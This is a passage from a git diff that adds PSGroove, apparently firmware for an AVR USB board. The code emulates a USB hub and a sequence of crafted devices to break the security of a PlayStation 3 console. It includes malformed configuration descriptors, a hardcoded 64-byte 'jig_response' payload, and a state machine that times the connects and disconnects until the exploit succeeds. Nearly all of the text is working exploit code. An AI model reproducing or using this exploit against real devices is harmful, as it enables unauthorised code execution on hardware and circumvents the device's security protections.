0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, +}; + +const uint8_t PROGMEM port4_device_descriptor[] = { + 0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, + 0xAA, 0xAA, 0x55, 0x55, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, +}; + +const uint8_t PROGMEM port4_config_descriptor_1[] = { + // config + 0x09, 0x02, 0x12, 0x00, 0x01, 0x01, 0x00, 0x80, + 0x01, + // interface + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, +}; + +const uint8_t PROGMEM port4_short_config_descriptor_2[] = { + // config + 0x09, 0x02, 0x12, 0x00, 0x01, 0x01, 0x00, 0x80, +}; + +const uint8_t PROGMEM port4_config_descriptor_2[] = { + // config + 0x09, 0x02, 0x00, 0x00, 0x01, 0x01, 0x00, 0x80, + 0x01, + // interface + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, +}; + +const uint8_t PROGMEM port4_config_descriptor_3[] = { + 0x09, 0x02, 0x30, 0x00, 0x01, 0x01, 0x00, 0x80, 0x01, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x3e, 0x21, 0x00, 0x00, 0x00, 0x00, 0xfa, 0xce, 0xb0, 0x03, 0xaa, 0xbb, 0xcc, 0xdd, + 0x80, 0x00, 0x00, 0x00, 0x00, 0x46, 0x50, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x3d, 0xee, 0x70, +}; + +const uint8_t PROGMEM port5_device_descriptor[] = { + 0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, + 0x4c, 0x05, 0xeb, 0x02, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, +}; + +const uint8_t PROGMEM port5_config_descriptor[] = { + // config + 0x09, 0x02, 0x20, 0x00, 0x01, 0x00, 0x00, 0x80, + 0x01, + // interface + 0x09, 0x04, 0x00, 0x00, 0x02, 0xff, 0x00, 0x00, + 0x00, + // endpoint + 0x07, 0x05, 0x02, 0x02, 0x08, 0x00, 0x00, + // endpoint + 0x07, 0x05, 0x81, 0x02, 0x08, 0x00, 0x00, +}; + +const uint8_t PROGMEM port6_device_descriptor[] = { + 0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, + 0xaa, 0xaa, 0xc0, 0xde, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, +}; + +const uint8_t PROGMEM port6_config_descriptor[] = { + // config + 0x09, 0x02, 0x12, 0x00, 0x01, 0x01, 0x00, 0x80, + 0x01, + // interface + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, +}; diff --git a/lufa-lib b/lufa-lib new file mode 160000 index 0000000..22cc5f9 --- /dev/null +++ b/lufa-lib @@ -0,0 +1 @@ +Subproject commit 22cc5f9fb3573f827bbb529f0772035ab99e9c21 diff --git a/psgroove.c b/psgroove.c new file mode 100644 index 0000000..146e24b --- /dev/null +++ b/psgroove.c @@ -0,0 +1,660 @@ +/* + PSGroove Exploit + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "descriptor.h" + +// Teensy board only has the first LED, so it will turn off when +// exploit succeeds. +#define RED (LEDS_LED1) +#define GREEN (LEDS_LED2) +#define BOTH (RED|GREEN) +#define NONE (LEDS_NO_LEDS) +#define LED(x) LEDs_SetAllLEDs(x) + +#define PORT_EMPTY 0x0100 /* powered only */ +#define PORT_FULL 0x0103 /* connected, enabled, powered, full-speed */ +#define C_PORT_CONN 0x0001 /* connection */ +#define C_PORT_RESET 0x0010 /* reset */ +#define C_PORT_NONE 0x0000 /* no change */ +uint16_t port_status[6] = { PORT_EMPTY, PORT_EMPTY, PORT_EMPTY, PORT_EMPTY, PORT_EMPTY, PORT_EMPTY }; +uint16_t port_change[6] = { C_PORT_NONE, C_PORT_NONE, C_PORT_NONE, C_PORT_NONE, C_PORT_NONE, C_PORT_NONE }; +enum { + init, + wait_hub_ready, + hub_ready, + p1_wait_reset, + p1_wait_enumerate, + p1_ready, + p2_wait_reset, + p2_wait_enumerate, + p2_ready, + p3_wait_reset, + p3_wait_enumerate, + p3_ready, + p2_wait_disconnect, + p4_wait_connect, + p4_wait_reset, + p4_wait_enumerate, + p4_ready, + p5_wait_reset, + p5_wait_enumerate, + p5_challenged, + p5_responded, + p3_wait_disconnect, + p3_disconnected, + p5_wait_disconnect, + p5_disconnected, + p4_wait_disconnect, + p4_disconnected, + p1_wait_disconnect, + p1_disconnected, + p6_wait_reset, + p6_wait_enumerate, + done, +} state = init; + +uint8_t hub_int_response = 0x00; +uint8_t hub_int_force_data0 = 0; +int last_port_conn_clear = 0; +int last_port_reset_clear = 0; + +int8_t port_addr[7] = { -1, -1, -1, -1, -1, -1, -1 }; +int8_t port_cur = -1; + +void USB_Device_SetDeviceAddress(uint8_t Address) +{ + port_addr[port_cur] = Address & 0x7f; + UDADDR = Address & 0x7f; + UDADDR |= (1 << ADDEN); +} + +void switch_port(int8_t port) +{ + if (port_cur == port) return; + port_cur = port; + if (port_addr[port] < 0) + port_addr[port] = 0; + UDADDR = port_addr[port] & 0x7f; + UDADDR |= (1 << ADDEN); +} + +volatile uint8_t expire = 0; /* counts down every 10 milliseconds */ +ISR(TIMER1_OVF_vect) +{ + uint16_t rate = (uint16_t) -(F_CPU / 64 / 100); + TCNT1H = rate >> 8; + TCNT1L = rate & 0xff; + if (expire > 0) + expire--; +} + +void SetupHardware(void) +{ + /* Disable watchdog if enabled by bootloader/fuses */ + MCUSR &= ~(1 << WDRF); + wdt_disable(); + + /* Disable clock division */ + clock_prescale_set(clock_div_1); + + /* Setup timer */ + TCCR1B = 0x03; /* timer rate clk/64 */ + TIMSK1 = 0x01; + + /* Hardware Initialization */ + LEDs_Init(); + USB_Init(); + sei(); +} + +void panic(int led1, int led2) +{ + for(;;) { + _delay_ms(100); + LED(led1); + _delay_ms(100); + LED(led2); + } +} + +void HUB_Task(void) +{ + Endpoint_SelectEndpoint(1); + + if (Endpoint_IsReadWriteAllowed()) + { + if (hub_int_response) { + if (hub_int_force_data0) { + Endpoint_ResetDataToggle(); + hub_int_force_data0 = 0; + } + Endpoint_Write_Byte(hub_int_response); + Endpoint_ClearIN(); + hub_int_response = 0x00; + } + } +} + +const uint8_t PROGMEM jig_response[64] = { + 0x80, 0x00, 0x00, 0x00, 0x00, 0x3d, 0xee, 0x78, 0x80, 0x00, 0x00, 0x00, 0x00, 0x3d, 0xee, 0x88, + 0x80, 0x00, 0x00, 0x00, 0x00, 0x33, 0xe7, 0x20, 0xe8, 0x83, 0xff, 0xf0, 0xe8, 0x63, 0xff, 0xf8, + 0xe8, 0xa3, 0x00, 0x18, 0x38, 0x63, 0x10, 0x00, 0x7c, 0x04, 0x28, 0x00, 0x40, 0x82, 0xff, 0xf4, + 0x38, 0xc3, 0xf0, 0x20, 0x7c, 0xc9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x20, 0x04, 0x00, 0x00, 0x00, +}; + +void JIG_Task(void) +{ + static int bytes_out = 0, bytes_in = 0; + + Endpoint_SelectEndpoint(2); + if (Endpoint_IsReadWriteAllowed()) + { + Endpoint_Discard_Stream(8, NO_STREAM_CALLBACK); + Endpoint_ClearOUT(); + bytes_out += 8; + if (bytes_out >= 64) { + state = p5_challenged; + expire = 50; // was 90 + } + } + + Endpoint_SelectEndpoint(1); + if (Endpoint_IsReadWriteAllowed() && state == p5_challenged && expire == 0) + { + if (bytes_in < 64) { + Endpoint_Write_PStream_LE(&jig_response[bytes_in], 8, NO_STREAM_CALLBACK); + Endpoint_ClearIN(); + bytes_in += 8; + if (bytes_in >= 64) { + state = p5_responded; + expire = 15; + } + } + } +} + +void connect_port(int port) +{ + last_port_reset_clear = 0; + hub_int_response = (1 << port); + port_status[port - 1] = PORT_FULL; + port_change[port - 1] = C_PORT_CONN; +} + +void disconnect_port(int port) +{ + last_port_conn_clear = 0; + hub_int_response = (1 << port); + port_status[port - 1] = PORT_EMPTY; + port_change[port - 1] = C_PORT_CONN; +} + +int main(void) +{ + SetupHardware(); + + LED(RED); + + state = init; + switch_port(0); + + for (;;) + { + if (port_cur == 0) + HUB_Task(); + + if (port_cur == 5) + JIG_Task(); + + USB_USBTask(); + + // connect 1 + if (state == hub_ready && expire == 0) + { + connect_port(1); + state = p1_wait_reset; + } + + if (state == p1_wait_reset && last_port_reset_clear == 1) + { + switch_port(1); + state = p1_wait_enumerate; + } + + // connect 2 + if (state == p1_ready && expire == 0) + { + switch_port(0); + connect_port(2); + state = p2_wait_reset; + } + + if (state == p2_wait_reset && last_port_reset_clear == 2) + { + switch_port(2); + state = p2_wait_enumerate; + } + + // connect 3 + if (state == p2_ready && expire == 0) + { + switch_port(0); + connect_port(3); + state = p3_wait_reset; + } + + if (state == p3_wait_reset && last_port_reset_clear == 3) + { + switch_port(3); + state = p3_wait_enumerate; + } + + // disconnect 2 + if (state == p3_ready && expire == 0) + { + switch_port(0); + disconnect_port(2); + state = p2_wait_disconnect; + } + + if (state == p2_wait_disconnect && last_port_conn_clear == 2) + { + state = p4_wait_connect; + expire = 15; + } + + // connect 4 + if (state == p4_wait_connect && expire == 0) + { + connect_port(4); + state = p4_wait_reset; + } + + if (state == p4_wait_reset && last_port_reset_clear == 4) + { + switch_port(4); + state = p4_wait_enumerate; + } + + // connect 5 + if (state == p4_ready && expire == 0) + { + switch_port(0); + /* When first connecting port 5, we need to + have the wrong data toggle for the PS3 to + respond */ + hub_int_force_data0 = 1; + connect_port(5); + state = p5_wait_reset; + } + + if (state == p5_wait_reset && last_port_reset_clear == 5) + { + switch_port(5); + state = p5_wait_enumerate; + } + + // disconnect 3 + if (state == p5_responded && expire == 0) + { + switch_port(0); + /* Need wrong data toggle again */ + hub_int_force_data0 = 1; + disconnect_port(3); + state = p3_wait_disconnect; + } + + if (state == p3_wait_disconnect && last_port_conn_clear == 3) + { + state = p3_disconnected; + expire = 45; + } + + // disconnect 5 + if (state == p3_disconnected && expire == 0) + { + switch_port(0); + disconnect_port(5); + state = p5_wait_disconnect; + } + + if (state == p5_wait_disconnect && last_port_conn_clear == 5) + { + state = p5_disconnected; + expire = 20; + } + + // disconnect 4 + if (state == p5_disconnected && expire == 0) + { + switch_port(0); + disconnect_port(4); + state = p4_wait_disconnect; + } + + if (state == p4_wait_disconnect && last_port_conn_clear == 4) + { + state = p4_disconnected; + expire = 20; + } + + // disconnect 1 + if (state == p4_disconnected && expire == 0) + { + switch_port(0); + disconnect_port(1); + state = p1_wait_disconnect; + } + + if (state == p1_wait_disconnect && last_port_conn_clear == 1) + { + state = p1_disconnected; + expire = 20; + } + + // connect 6 + if (state == p1_disconnected && expire == 0) + { + switch_port(0); + connect_port(6); + state = p6_wait_reset; + } + + if (state == p6_wait_reset && last_port_reset_clear == 6) + { + switch_port(6); + state = p6_wait_enumerate; + } + + // done + if (state == done) + { + LED(GREEN); + } + } +} + +uint16_t CALLBACK_USB_GetDescriptor(const uint16_t wValue, + const uint8_t wIndex, + const void** const DescriptorAddress) +{ + const uint8_t DescriptorType = (wValue >> 8); + const uint8_t DescriptorNumber = (wValue & 0xFF); + const uint16_t wLength = USB_ControlRequest.wLength; + + void* Address = NULL; + uint16_t Size = NO_DESCRIPTOR; + + switch (DescriptorType) + { + case DTYPE_Device: + switch (port_cur) { + case 0: + Address = (void *) HUB_Device_Descriptor; + Size = sizeof(HUB_Device_Descriptor); + break; + case 1: + Address = (void *) port1_device_descriptor; + Size = sizeof(port1_device_descriptor); + break; + case 2: + Address = (void *) port2_device_descriptor; + Size = sizeof(port2_device_descriptor); + break; + case 3: + Address = (void *) port3_device_descriptor; + Size = sizeof(port3_device_descriptor); + break; + case 4: + Address = (void *) port4_device_descriptor; + Size = sizeof(port4_device_descriptor); + break; + case 5: + Address = (void *) port5_device_descriptor; + Size = sizeof(port5_device_descriptor); + break; + case 6: + Address = (void *) port6_device_descriptor; + Size = sizeof(port6_device_descriptor); + break; + } + break; + case DTYPE_Configuration: + switch (port_cur) { + case 0: + Address = (void *) HUB_Config_Descriptor; + Size = sizeof(HUB_Config_Descriptor); + break; + case 1: + // 4 configurations are the same. + // For the initial 8-byte request, we give a different + // length response than in the full request. + if (DescriptorNumber < 4) { + if (wLength == 8) { + Address = (void *) port1_short_config_descriptor; + Size = sizeof(port1_short_config_descriptor); + } else { + Address = (void *) port1_config_descriptor; + Size = sizeof(port1_config_descriptor); + } + if (DescriptorNumber == 3 && wLength > 8) { + state = p1_ready; + expire = 10; + } + } + break; + case 2: + // only 1 config + Address = (void *) port2_config_descriptor; + Size = sizeof(port2_config_descriptor); + state = p2_ready; + expire = 15; + break; + case 3: + // 2 configurations are the same + Address = (void *) port3_config_descriptor; + Size = sizeof(port3_config_descriptor); + if (DescriptorNumber == 1 && wLength > 8) { + state = p3_ready; + expire = 10; + } + break; + case 4: + // 3 configurations + if (DescriptorNumber == 0) { + Address = (void *) port4_config_descriptor_1; + Size = sizeof(port4_config_descriptor_1); + } else if (DescriptorNumber == 1) { + if (wLength == 8) { + Address = (void *) port4_short_config_descriptor_2; + Size = sizeof(port4_short_config_descriptor_2); + } else { + Address = (void *) port4_config_descriptor_2; + Size = sizeof(port4_config_descriptor_2); + } + } else if (DescriptorNumber == 2) { + Address = (void *) port4_config_descriptor_3; + Size = sizeof(port4_config_descriptor_3); + if (wLength > 8) { + state = p4_ready; + expire = 20; // longer seems to help this one? + } + } + break; + case 5: + // 1 config + Address = (void *) port5_config_descriptor; + Size = sizeof(port5_config_descriptor); + break; + case 6: + // 1 config + Address = (void *) port6_config_descriptor; + Size = sizeof(port6_config_descriptor); + break; + } + break; + case 0x29: // HUB descriptor (always to port 0 we'll assume) + switch (port_cur) { + case 0: + Address = (void *) HUB_Hub_Descriptor; + Size = sizeof(HUB_Hub_Descriptor); + break; + } + break; + } + + *DescriptorAddress = Address; + return Size; +} + +void EVENT_USB_Device_Connect(void) { } +void EVENT_USB_Device_Disconnect(void) { } + +void EVENT_USB_Device_UnhandledControlRequest(void) +{ + if (port_cur == 6 && USB_ControlRequest.bRequest == 0xAA) { + /* holy crap, it worked! */ + Endpoint_ClearSETUP(); + Endpoint_ClearIN(); + Endpoint_ClearStatusStage(); + state = done; + return; + } + + if (port_cur == 5 && USB_ControlRequest.bRequest == REQ_SetInterface) + { + /* can ignore this */ + Endpoint_ClearSETUP(); + Endpoint_ClearIN(); + Endpoint_ClearStatusStage(); + return; + } + + if (port_cur == 0 && + USB_ControlRequest.bmRequestType == 0xA0 && + USB_ControlRequest.bRequest == 0x00 && // GET HUB STATUS + USB_ControlRequest.wValue == 0x00 && + USB_ControlRequest.wIndex == 0x00 && + USB_ControlRequest.wLength == 0x04) { + Endpoint_ClearSETUP(); + Endpoint_Write_Word_LE(0x0000); // wHubStatus + Endpoint_Write_Word_LE(0x0000); // wHubChange + Endpoint_ClearIN(); + Endpoint_ClearStatusStage(); + return; + } + + if (port_cur == 0 && + USB_ControlRequest.bmRequestType == 0xA3 && + USB_ControlRequest.bRequest == 0x00 && // GET PORT STATUS + USB_ControlRequest.wValue == 0x00 && + USB_ControlRequest.wLength == 0x04) { + uint8_t p = USB_ControlRequest.wIndex; + if (p < 1 || p > 6) return; + + Endpoint_ClearSETUP(); + Endpoint_Write_Word_LE(port_status[p - 1]); // wHubStatus + Endpoint_Write_Word_LE(port_change[p - 1]); // wHubChange + Endpoint_ClearIN(); + Endpoint_ClearStatusStage(); + return; + } + + if (port_cur == 0 && + USB_ControlRequest.bmRequestType == 0x23 && + USB_ControlRequest.bRequest == 0x03 && // SET_FEATURE + USB_ControlRequest.wLength == 0x00) { + uint8_t p = USB_ControlRequest.wIndex; + if (p < 1 || p > 6) return; + + Endpoint_ClearSETUP(); + Endpoint_ClearIN(); + Endpoint_ClearStatusStage(); + + switch(USB_ControlRequest.wValue) { + case 0x0008: // PORT_POWER + if (p == 6 && state == init) { + /* after the 6th port is powered, wait a bit and continue */ + state = hub_ready; + expire = 15; + } + break; + case 0x0004: // PORT_RESET + hub_int_response = (1 << p); + port_change[p - 1] |= C_PORT_RESET; + break; + } + return; + } + + if (port_cur == 0 && + USB_ControlRequest.bmRequestType == 0x23 && + USB_ControlRequest.bRequest == 0x01 && // CLEAR_FEATURE + USB_ControlRequest.wLength == 0x00) { + uint8_t p = USB_ControlRequest.wIndex; + if (p < 1 || p > 6) return; + + Endpoint_ClearSETUP(); + Endpoint_ClearIN(); + Endpoint_ClearStatusStage(); + + switch(USB_ControlRequest.wValue) { + case 0x0010: // C_PORT_CONNECTION + port_change[p - 1] &= ~C_PORT_CONN; + last_port_conn_clear = p; + break; + case 0x0014: // C_PORT_RESET + port_change[p - 1] &= ~C_PORT_RESET; + last_port_reset_clear = p; + break; + } + return; + } + + panic(RED, GREEN); +} + +void EVENT_USB_Device_ConfigurationChanged(void) +{ + /* careful with endpoints: we don't reconfigure when "switching ports" + so we need the same configuration on all of them */ + if (!Endpoint_ConfigureEndpoint(1, EP_TYPE_INTERRUPT, ENDPOINT_DIR_IN, 8, ENDPOINT_BANK_SINGLE)) + panic(GREEN, BOTH); + if (!Endpoint_ConfigureEndpoint(2, EP_TYPE_INTERRUPT, ENDPOINT_DIR_OUT, 8, ENDPOINT_BANK_SINGLE)) + panic(GREEN, BOTH); +} + +void EVENT_USB_Device_Suspend(void) { } +void EVENT_USB_Device_WakeUp(void) { } +void EVENT_USB_Device_Reset(void) { } +void EVENT_USB_Device_StartOfFrame(void) { } +void EVENT_USB_InitFailure(const uint8_t ErrorCode) { } +void EVENT_USB_UIDChange(void) {} +